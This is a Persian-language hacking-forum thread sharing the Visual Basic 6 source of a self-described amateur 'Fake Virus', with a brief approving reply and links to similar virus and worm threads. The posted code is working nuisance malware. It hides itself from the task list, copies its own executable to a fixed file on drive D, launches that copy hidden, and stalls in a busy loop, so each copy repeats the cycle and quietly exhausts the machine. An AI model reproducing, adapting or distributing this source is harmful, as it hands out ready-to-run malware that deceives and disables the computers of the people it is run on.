• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 1 رای - 5 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: Fake Virus
حالت موضوعی
#1
[عکس: j59s3jg7s7onf92ejqd.jpg]
کد:
'Coder : Amin Mansouri
'Fake Virus (Amator Programming)
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Const Amin = "d:\Fucker.exe"
Private Sub Form_Load()
App.TaskVisible = False
AminWhile (900000000)
End Sub

Function AminWhile(Time As Long)
On Error Resume Next
Dim StartTime As Long
StartTime = GetTickCount()
Kill Amin
FileCopy (App.Path & "\" & App.EXEName & ".exe"), Amin
Shell (Amin), vbHide
While (StartTime + Time) > GetTickCount()
DoEvents
Wend
End Function
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
#2
جالب بود !
 
پاسخ
  


موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  C virus Amin_Mansouri 0 1,884 09-22-2011، 12:57 AM
آخرین ارسال: Amin_Mansouri
  [DELPHI]Virus EXE infector - Example, by DjH Amin_Mansouri 0 2,725 09-22-2011، 12:40 AM
آخرین ارسال: Amin_Mansouri
  Source Code Virus & Worm Amin_Mansouri 4 6,087 06-25-2011، 10:55 AM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 1 مهمان